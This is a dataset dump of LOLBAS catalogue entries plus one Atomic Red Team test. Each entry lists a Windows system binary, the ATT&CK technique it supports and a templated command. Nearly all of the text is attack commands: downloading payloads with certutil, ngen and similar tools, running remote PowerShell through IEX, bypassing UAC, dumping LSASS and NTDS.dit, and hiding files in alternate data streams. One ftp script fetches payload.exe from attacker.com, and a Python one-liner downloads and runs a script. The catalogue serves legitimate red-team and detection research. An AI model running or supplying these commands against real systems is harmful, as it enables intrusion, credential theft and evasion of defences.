deardaniel/secdata-raw huggingface dataset:
LOLBAS — Living Off the Land: Diantz.exe
Author: Tamir Yehuda

Description:
Binary that package existing files into a cabinet (.cab) file

Technique — Hide data compressed into an Alternate Data Stream.:
  ATT&CK: T1564.004
  OS: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
  Command: diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab

Technique — Download and compress into a cab file.:
  ATT&CK: T1105
  OS: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
  Command: diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}

Technique — Bypass command-line based detections:
  ATT&CK: T1036
  OS: Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
  Command: diantz /f {PATH:.ddf}
LOLBAS — Living Off the Land: Desktopimgdownldr.exe
Author: Gal Kristal

Description:
Windows binary used to configure lockscreen/desktop image

Technique — Download arbitrary files from a web server:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr
LOLBAS — Living Off the Land: Change.exe
Author: Idan Lerman

Description:
Remote Desktop Services MultiUser Change Utility

Technique — Execute an arbitrary executable via trusted system executable.:
  ATT&CK: T1218
  OS: Windows 10, Windows 11
  Command: change.exe user
LOLBAS — Living Off the Land: Dfsvc.exe
Author: Oddvar Moe

Description:
ClickOnce engine in Windows used by .NET

Technique — Use binary to bypass Application whitelisting:
  ATT&CK: T1127.002
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}
LOLBAS — Living Off the Land: msedge_proxy.exe
Author: Mert Daş

Description:
Microsoft Edge Browser

Technique — Download file from the internet:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}

Technique — Executes a process under a trusted Microsoft signed binary:
  ATT&CK: T1218.015
  OS: Windows 10, Windows 11
  Command: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
LOLBAS — Living Off the Land: AddinUtil.exe
Author: Michael McKinley @MckinleyMike

Description:
.NET Tool used for updating cache files for Microsoft Office Add-Ins.

Technique — Proxy execution of malicious serialized payload:
  ATT&CK: T1218
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.
LOLBAS — Living Off the Land: Diskshadow.exe
Author: Oddvar Moe

Description:
Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS).

Technique — Use diskshadow to exfiltrate data from VSS such as NTDS.dit:
  ATT&CK: T1003.003
  OS: Windows server
  Command: diskshadow.exe /s {PATH:.txt}

Technique — Use diskshadow to bypass defensive counter measures:
  ATT&CK: T1202
  OS: Windows server
  Command: diskshadow> exec {PATH:.exe}
LOLBAS — Living Off the Land: WorkFolders.exe
Author: Elliot Killick

Description:
Work Folders

Technique — Can be used to evade defensive countermeasures or to hide as a persistence mechanism:
  ATT&CK: T1218
  OS: Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: WorkFolders

Technique — Proxy execution of a malicious payload via App Paths registry hijacking.:
  ATT&CK: T1218
  OS: Windows 10, Windows 11
  Command: WorkFolders
LOLBAS — Living Off the Land: Xwizard.exe
Author: Oddvar Moe

Description:
Execute custom class that has been added to the registry or download a file with Xwizard.exe

Technique — Run a com object created in registry to evade defensive counter measures:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: xwizard RunWizard {[PII_REDACTED]-0000-0000FEEDACDC}

Technique — Run a com object created in registry to evade defensive counter measures:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: xwizard RunWizard /taero /u {[PII_REDACTED]-0000-0000FEEDACDC}

Technique — Download file from Internet:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}
LOLBAS — Living Off the Land: write.exe
Author: Michal Belzak

Description:
Windows Write

Technique — Execute binary through legitimate proxy. This might be utilized to confuse detection solutions that rely on parent-child relationships.:
  ATT&CK: T1218
  OS: Windows 10, Windows 11 (before 24H2)
  Command: write.exe
LOLBAS — Living Off the Land: CertReq.exe
Author: David Middlehurst

Description:
Used for requesting and managing certificates

Technique — Download file from Internet:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}

Technique — Upload:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}
LOLBAS — Living Off the Land: Wlrmdr.exe
Author: Moshe Kaplan

Description:
Windows Logon Reminder executable

Technique — Use wlrmdr as a proxy binary to evade defensive countermeasures:
  ATT&CK: T1202
  OS: Windows 10, Windows 11
  Command: wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u {PATH:.exe}
LOLBAS — Living Off the Land: SettingSyncHost.exe
Author: Elliot Killick

Description:
Host Process for Setting Synchronization

Technique — Can be used to evade defensive countermeasures or to hide as a persistence mechanism:
  ATT&CK: T1218
  OS: Windows 8, Windows 8.1, Windows 10
  Command: SettingSyncHost -LoadAndRunDiagScript {PATH:.exe}

Technique — Can be used to evade defensive countermeasures or to hide as a persistence mechanism. Additionally, effectively act as a -WindowStyle Hidden option (as there is in PowerShell) for any arbitrary batch file.:
  ATT&CK: T1218
  OS: Windows 8, Windows 8.1, Windows 10
  Command: SettingSyncHost -LoadAndRunDiagScriptNoCab {PATH:.bat}
LOLBAS — Living Off the Land: wbadmin.exe
Author: Chris Eastwood

Description:
Windows Backup Administration utility

Technique — Snapshoting of Active Directory NTDS.dit database:
  ATT&CK: T1003.003
  OS: Windows Server
  Command: wbadmin start backup -backupTarget:{PATH_ABSOLUTE:folder} -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet

Technique — Dumping of Active Directory NTDS.dit database:
  ATT&CK: T1003.003
  OS: Windows Server
  Command: wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:{PATH_ABSOLUTE:folder} -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet
LOLBAS — Living Off the Land: Sftp.exe
Author: Swachchhanda Shrawan Poudel

Description:
sftp.exe is a Windows command-line utility that uses the Secure File Transfer Protocol (SFTP) to securely transfer files between a local machine and a remote server.

Technique — Proxy execution of specified command, can be used as a defensive evasion.:
  ATT&CK: T1202
  OS: Windows 10, Windows 11
  Command: sftp -o ProxyCommand="{CMD}" .
LOLBAS — Living Off the Land: DeviceCredentialDeployment.exe
Author: Elliot Killick

Description:
Device Credential Deployment

Technique — Can be used to stealthily run a console application (e.g. cmd.exe) in the background:
  ATT&CK: T1564
  OS: Windows 10
  Command: DeviceCredentialDeployment
LOLBAS — Living Off the Land: Eventvwr.exe
Author: Jacob Gajek

Description:
Displays Windows Event Logs in a GUI window.

Technique — Execute a binary or script as a high-integrity process without a UAC prompt.:
  ATT&CK: T1548.002
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: eventvwr.exe

Technique — Execute a command to bypass security restrictions that limit the use of command-line interpreters.:
  ATT&CK: T1548.002
  OS: Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: ysoserial.exe -o raw -f BinaryFormatter - g DataSet -c "{CMD}" > RecentViews & copy RecentViews %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews & eventvwr.exe
LOLBAS — Living Off the Land: PrintBrm.exe
Author: Elliot Killick

Description:
Printer Migration Command-Line Tool

Technique — Exfiltrate the contents of a remote folder on a UNC share into a zip file:
  ATT&CK: T1105
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}

Technique — Decompress and extract a ZIP file stored on an alternate data stream to a new folder:
  ATT&CK: T1564.004
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder}
LOLBAS — Living Off the Land: Msbuild.exe
Author: Oddvar Moe

Description:
Used to compile and execute code

Technique — Compile and run code:
  ATT&CK: T1127.001
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msbuild.exe {PATH:.xml}

Technique — Compile and run code:
  ATT&CK: T1127.001
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msbuild.exe {PATH:.csproj}

Technique — Execute DLL:
  ATT&CK: T1127.001
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msbuild.exe /logger:TargetLogger,{PATH_ABSOLUTE:.dll};MyParameters,Foo

Technique — Execute project file that contains XslTransformation tag parameters:
  ATT&CK: T1127.001
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msbuild.exe {PATH:.proj}

Technique — Bypass command-line based detections:
  ATT&CK: T1036
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: msbuild.exe @{PATH:.rsp}
LOLBAS — Living Off the Land: Pktmon.exe
Author: Derek Johnson

Description:
Capture Network Packets on the windows 10 with October 2018 Update or later.

Technique — use this a built in network sniffer on windows 10 to capture senstive traffic:
  ATT&CK: T1040
  OS: Windows 10 1809 and later, Windows 11
  Command: pktmon.exe start --etw

Technique — Look for interesting traffic such as telent or FTP:
  ATT&CK: T1040
  OS: Windows 10 1809 and later, Windows 11
  Command: pktmon.exe filter add -p 445
LOLBAS — Living Off the Land: Psr.exe
Author: Leon Rodenko

Description:
Windows Problem Steps Recorder, used to record screen and clicks.

Technique — Can be used to take screenshots of the user environment:
  ATT&CK: T1113
  OS: since Windows 7 (client) / Windows 2008 R2
  Command: psr.exe /start /output {PATH_ABSOLUTE:.zip} /sc 1 /gui 0
LOLBAS — Living Off the Land: Certutil.exe
Author: Oddvar Moe

Description:
Windows binary used for handling certificates

Technique — Download file from Internet:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}

Technique — Download file from Internet:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}

Technique — Download file from Internet and save it in an NTFS Alternate Data Stream:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt

Technique — Download file from Internet:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: certutil.exe -URL {REMOTEURL:.exe}

Technique — Encode files to evade defensive measures:
  ATT&CK: T1027.013
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: certutil -encode {PATH} {PATH:.base64}
LOLBAS — Living Off the Land: IMEWDBLD.exe
Author: Wade Hickey

Description:
Microsoft IME Open Extended Dictionary Module

Technique — Download file from Internet:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}
LOLBAS — Living Off the Land: Ttdinject.exe
Author: Maxime Nadeau

Description:
Used by Windows 1809 and newer to Debug Time Travel (Underlying call of tttracer.exe)

Technique — Spawn process using other binary:
  ATT&CK: T1127
  OS: Windows 10 2004 and above, Windows 11
  Command: TTDInject.exe /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /Launch "{PATH:.exe}"

Technique — Spawn process using other binary:
  ATT&CK: T1127
  OS: Windows 10 1909 and below
  Command: ttdinject.exe /ClientScenario TTDRecorder /ddload 0 /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /launch "{PATH:.exe}"
LOLBAS — Living Off the Land: Conhost.exe
Author: Wietze Beukema

Description:
Console Window host

Technique — Use conhost.exe as a proxy binary to evade defensive counter-measures:
  ATT&CK: T1202
  OS: Windows 10, Windows 11
  Command: conhost.exe {CMD}

Technique — Specify --headless parameter to hide child process window (if applicable):
  ATT&CK: T1202
  OS: Windows 10, Windows 11
  Command: conhost.exe --headless {CMD}
LOLBAS — Living Off the Land: Eudcedit.exe
Author: Matan Bahar

Description:
Private Character Editor Windows Utility

Technique — Execute a binary or script as a high-integrity process without a UAC prompt.:
  ATT&CK: T1548.002
  OS: Windows 10, Windows 11
  Command: eudcedit
LOLBAS — Living Off the Land: Cipher.exe
Author: Adetutu Ogunsowo

Description:
File Encryption Utility

Technique — Can be used to forensically erase a file.:
  ATT&CK: T1485
  OS: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: cipher /w:{PATH_ABSOLUTE:folder}

Technique — Can be used to impair defences by e.g. encrypting a critical EDR solution file.:
  ATT&CK: T1562
  OS: Windows 10
  Command: cipher.exe /e {PATH_ABSOLUTE}
LOLBAS — Living Off the Land: iediagcmd.exe
Author: manasmbellani

Description:
Diagnostics Utility for Internet Explorer

Technique — Spawn a pre-planted executable from iediagcmd.exe.:
  ATT&CK: T1218
  OS: Windows 10 1803, Windows 10 1703, Windows 10 22H1, Windows 10 22H2, Windows 11
  Command: set windir=c:\test& cd "C:\Program Files\Internet Explorer\" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}
LOLBAS — Living Off the Land: SyncAppvPublishingServer.exe
Author: Oddvar Moe

Description:
Used by App-v to get App-v server lists

Technique — Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures:
  ATT&CK: T1218
  OS: Windows 10 1709, Windows 10 1703, Windows 10 1607
  Command: SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"
LOLBAS — Living Off the Land: Runexehelper.exe
Author: Grzegorz Tworek

Description:
Launcher process

Technique — Executes arbitrary code:
  ATT&CK: T1218
  OS: Windows 10, Windows 11, Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022
  Command: runexehelper.exe {PATH_ABSOLUTE:.exe}
LOLBAS — Living Off the Land: rdrleakdiag.exe
Author: John Dwyer

Description:
Microsoft Windows resource leak diagnostic tool

Technique — Dump process by PID.:
  ATT&CK: T1003
  OS: Windows
  Command: rdrleakdiag.exe /p 940 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1

Technique — Dump LSASS process.:
  ATT&CK: T1003.001
  OS: Windows
  Command: rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /wait 1

Technique — Dump LSASS process mutliple times.:
  ATT&CK: T1003.001
  OS: Windows
  Command: rdrleakdiag.exe /p 832 /o {PATH_ABSOLUTE:folder} /fullmemdmp /snap
LOLBAS — Living Off the Land: Sc.exe
Author: Oddvar Moe

Description:
Used by Windows to manage services

Technique — Execute binary file hidden inside an alternate data stream:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto\ & sc start evilservice

Technique — Execute binary file hidden inside an alternate data stream:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: sc config {ExistingServiceName} binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" & sc start {ExistingServiceName}
LOLBAS — Living Off the Land: OneDriveStandaloneUpdater.exe
Author: Elliot Killick

Description:
OneDrive Standalone Updater

Technique — Download a file from the Internet without executing any anomalous executables with suspicious arguments:
  ATT&CK: T1105
  OS: Windows 10
  Command: OneDriveStandaloneUpdater
LOLBAS — Living Off the Land: Ngen.exe
Author: Avihay Eldad

Description:
Microsoft Native Image Generator.

Technique — It will download a remote payload and place it in INetCache.:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: ngen.exe {REMOTEURL}
LOLBAS — Living Off the Land: At.exe
Author: Freddie Barr-Smith

Description:
Schedule periodic tasks

Technique — Create a recurring task, to eg. to keep reverse shell session(s) alive:
  ATT&CK: T1053.002
  OS: Windows 7 or older
  Command: C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}
LOLBAS — Living Off the Land: Cmd.exe
Author: Ye Yint Min Thu Htut

Description:
The command-line interpreter in Windows

Technique — Can be used to evade defensive countermeasures or to hide as a persistence mechanism:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat

Technique — Can be used to evade defensive countermeasures or to hide as a persistence mechanism:
  ATT&CK: T1059.003
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: cmd.exe - < {PATH}:payload.bat

Technique — Download/copy a file from a WebDAV server:
  ATT&CK: T1105
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: type {PATH_SMB} > {PATH_ABSOLUTE}

Technique — Upload a file to a WebDAV server:
  ATT&CK: T1048.003
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: type {PATH_ABSOLUTE} > {PATH_SMB}
LOLBAS — Living Off the Land: Ftp.exe
Author: Oddvar Moe

Description:
A binary designed for connecting to FTP servers

Technique — Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand:
  ATT&CK: T1202
  OS: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt

Technique — Spawn new process using ftp.exe. Ftp.exe downloads the binary.:
  ATT&CK: T1105
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
LOLBAS — Living Off the Land: Csc.exe
Author: Oddvar Moe

Description:
Binary file used by .NET Framework to compile C# code

Technique — Compile attacker code on system. Bypass defensive counter measures.:
  ATT&CK: T1127
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: csc.exe -out:{PATH:.exe} {PATH:.cs}

Technique — Compile attacker code on system. Bypass defensive counter measures.:
  ATT&CK: T1127
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: csc -target:library {PATH:.cs}
LOLBAS — Living Off the Land: Ilasm.exe
Author: Hai vaknin (lux)

Description:
used for compile c# code into dll or exe.

Technique — Compile attacker code on system. Bypass defensive counter measures.:
  ATT&CK: T1127
  OS: Windows 7, Windows 10, Windows 11
  Command: ilasm.exe {PATH_ABSOLUTE:.txt} /exe

Technique — A description of the usecase:
  ATT&CK: T1127
  OS: Windows 7, Windows 10, Windows 11
  Command: ilasm.exe {PATH_ABSOLUTE:.txt} /dll
LOLBAS — Living Off the Land: Installutil.exe
Author: Oddvar Moe

Description:
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

Technique — Use to execute code and bypass application whitelisting:
  ATT&CK: T1218.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

Technique — Use to execute code and bypass application whitelisting:
  ATT&CK: T1218.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

Technique — Downloads payload from remote server:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: InstallUtil.exe {REMOTEURL}
LOLBAS — Living Off the Land: ComputerDefaults.exe
Author: Eron Clarke

Description:
ComputerDefaults.exe is a Windows system utility for managing default applications for tasks like web browsing, emailing, and media playback.

Technique — Execute a binary or script as a high-integrity process without a UAC prompt.:
  ATT&CK: T1548.002
  OS: Windows 10, Windows 11
  Command: ComputerDefaults.exe
LOLBAS — Living Off the Land: Findstr.exe
Author: Oddvar Moe

Description:
Write to ADS, discover, or download files with Findstr.exe

Technique — Add a file to an alternate data stream to hide from defensive counter measures:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe

Technique — Add a file to an alternate data stream from a webdav server to hide from defensive counter measures:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe

Technique — Find credentials stored in cpassword attrbute:
  ATT&CK: T1552.001
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: findstr /S /I cpassword \\sysvol\policies\*.xml

Technique — Download/Copy file from webdav server:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}
LOLBAS — Living Off the Land: Register-cimprovider.exe
Author: Oddvar Moe

Description:
Used to register new wmi providers

Technique — Execute code within dll file:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: Register-cimprovider -path {PATH_ABSOLUTE:.dll}
LOLBAS — Living Off the Land: Runscripthelper.exe
Author: Oddvar Moe

Description:
Execute target PowerShell script

Technique — Bypass constrained language mode and execute Powershell script:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: runscripthelper.exe surfacecheck \\?\{PATH_ABSOLUTE:.txt} {PATH_ABSOLUTE:folder}
Atomic Red Team — T1059.006: Command and Scripting Interpreter: Python
Test: Execute shell script via python's command mode arguement
Platforms: linux
Executor: sh

Description:
Download and execute shell script and write to file then execute locally using Python -c (command mode)

Command:
which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'


Cleanup:
rm #{payload_file_name} 
pip-autoremove pypykatz >nul 2> nul


Dependencies:
Verify if python is in the environment variable path and attempt to import requests library.